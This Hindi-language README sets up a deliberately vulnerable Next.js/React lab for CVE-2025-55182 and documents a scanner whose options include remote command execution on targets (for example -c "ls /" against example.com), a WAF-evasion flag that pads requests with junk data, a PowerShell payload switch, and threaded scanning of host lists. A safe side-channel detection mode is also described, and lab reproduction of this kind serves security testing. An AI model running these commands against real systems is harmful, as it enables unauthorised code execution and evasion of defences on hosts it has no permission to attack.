
CVE-2025-55182 पुनरुत्पादन वातावरण तथा RCE इको PoC
| घटक | पुनरुत्पादन हेतु अनुशंसित संस्करण | असुरक्षित संस्करण सीमा |
|---|
| Node.js | >= 20.9.0 | 20.9.0 (LTS) और उससे ऊपर |
| Next.js | 15.0.0 | 15.x, 16.x (App Router) |
| React Core | 19.0.0 या 19.2.0 | 19.0.0 से 19.2.0 तक |
| RSC Bundler | react-server-dom-webpack | 19.0.0 से 19.2.0 तक |
निम्न संस्करण को बलपूर्वक इंस्टॉल करें
cd cve-2025-55182-target
npm install --force
निर्भरता संस्करण सत्यापित करें
npm list react next
# 确认输出显示 [email protected] 和 [email protected]
जब तक शीर्ष-स्तरीय निर्भरता सूची [email protected] और [email protected] दिखाती है, परिवेश सफलतापूर्वक असुरक्षित अवस्था में लॉक हो चुका है; यहाँ दिखाई देने वाली चेतावनियों और त्रुटि कोडों को अनदेखा किया जा सकता है।
बिल्ड करें:
npm run build
चलाएँ:
npm start
सर्वर http://localhost:3000 पर सुन रहा होगा। परिवेश सेटअप पूर्ण हो गया है; अब भेद्यता सत्यापन शुरू किया जा सकता है।
भेद्यता पहचान/स्कैनिंग:
cd React2shell
python3.11 scanner.py -u http://127.0.0.1:3000/
RCE:
python3.11 scanner_with_rce.py -u http://127.0.0.1:3000/ -c "ls /"


React Server Components का उपयोग करने वाले Next.js अनुप्रयोगों में CVE-2025-55182 और CVE-2025-66478 का पता लगाने के लिए एक कमांड-लाइन टूल।
भेद्यता और पहचान पद्धति की तकनीकी जानकारी के लिए, हमारा ब्लॉग पोस्ट देखें: https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478
डिफ़ॉल्ट रूप से, स्कैनर एक निर्मित मल्टीपार्ट POST अनुरोध भेजता है जिसमें एक RCE प्रूफ-ऑफ-कॉन्सेप्ट पेलोड होता है जो एक निश्चित गणितीय ऑपरेशन (41*271 = 11111) निष्पादित करता है। असुरक्षित होस्ट परिणाम को X-Action-Redirect प्रतिक्रिया हेडर में /login?a=11111 के रूप में लौटाते हैं।
स्कैनर पहले रूट पाथ का परीक्षण करता है। यदि यह असुरक्षित नहीं है, तो यह समान-होस्ट रीडायरेक्ट्स (जैसे, / से /en/) का अनुसरण करता है और रीडायरेक्ट गंतव्य का परीक्षण करता है। क्रॉस-ओरिजिन रीडायरेक्ट्स का अनुसरण नहीं किया जाता है।
--safe-check फ्लैग एक वैकल्पिक पहचान विधि का उपयोग करता है जो टारगेट पर कोड निष्पादित किए बिना साइड-चैनल संकेतकों (विशिष्ट त्रुटि डाइजेस्ट के साथ 500 स्टेटस कोड) पर निर्भर करती है। जब RCE निष्पादन वांछित न हो तो इस मोड का उपयोग करें।
--waf-bypass फ्लैग मल्टीपार्ट अनुरोध बॉडी में यादृच्छिक जंक डेटा जोड़ देता है। यह WAF सामग्री निरीक्षण से बचने में मदद कर सकता है जो केवल अनुरोध बॉडी के पहले भाग का विश्लेषण करता है। डिफ़ॉल्ट आकार 128KB है, जिसे --waf-bypass-size के माध्यम से कॉन्फ़िगर किया जा सकता है। जब WAF बाइपास सक्षम होता है, तो टाइमआउट स्वचालित रूप से 20 सेकंड तक बढ़ा दिया जाता है (जब तक कि स्पष्ट रूप से सेट न किया गया हो)।
--windows फ्लैग विंडोज पर चलने वाले टारगेट्स के लिए पेलोड को Unix शेल (echo $((41*271))) से PowerShell (powershell -c "41*271") में बदल देता है।
pip install -r requirements.txt
एकल होस्ट स्कैन करें:
python3 scanner.py -u https://example.com
होस्टों की सूची स्कैन करें:
python3 scanner.py -l hosts.txt
एकाधिक थ्रेड्स के साथ स्कैन करें और परिणाम सहेजें:
python3 scanner.py -l hosts.txt -t 20 -o results.json
कस्टम हेडर के साथ स्कैन करें:
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
सुरक्षित साइड-चैनल पहचान का उपयोग करें:
python3 scanner.py -u https://example.com --safe-check
विंडोज टारगेट्स स्कैन करें:
python3 scanner.py -u https://example.com --windows
WAF बाइपास के साथ स्कैन करें:
python3 scanner.py -u https://example.com --waf-bypass
RCE
python3 scanner.py -u https://example.com -c "ls /"
-u, --url Single URL to check
-c, --cmd Command to execute
-l, --list File containing hosts (one per line)
-t, --threads Number of concurrent threads (default: 10)
--timeout Request timeout in seconds (default: 10)
-o, --output Output file for results (JSON)
--all-results Save all results, not just vulnerable hosts
-k, --insecure Disable SSL certificate verification
-H, --header Custom header (can be used multiple times)
-v, --verbose Show response details for vulnerable hosts
-q, --quiet Only output vulnerable hosts
--no-color Disable colored output
--safe-check Use safe side-channel detection instead of RCE PoC
--windows Use Windows PowerShell payload instead of Unix shell
--waf-bypass Add junk data to bypass WAF content inspection
--waf-bypass-size Size of junk data in KB (default: 128)
RCE PoC मूल रूप से @maple3142 द्वारा सार्वजनिक किया गया था -- एक कार्यशील PoC प्रकाशित करने के लिए हम उनके कार्य के प्रति अत्यंत आभारी हैं।
यह टूलिंग मूल रूप से RCE का पता लगाने के एक सुरक्षित तरीके के रूप में बनाई गई थी। यह कार्यक्षमता अभी भी --safe-check, अर्थात "सुरक्षित पहचान" मोड के माध्यम से उपलब्ध है।
परिणाम टर्मिनल पर प्रिंट होते हैं। -o का उपयोग करने पर, असुरक्षित होस्ट सत्यापन हेतु पूर्ण HTTP अनुरोध और प्रतिक्रिया वाली एक JSON फ़ाइल में सहेजे जाते हैं।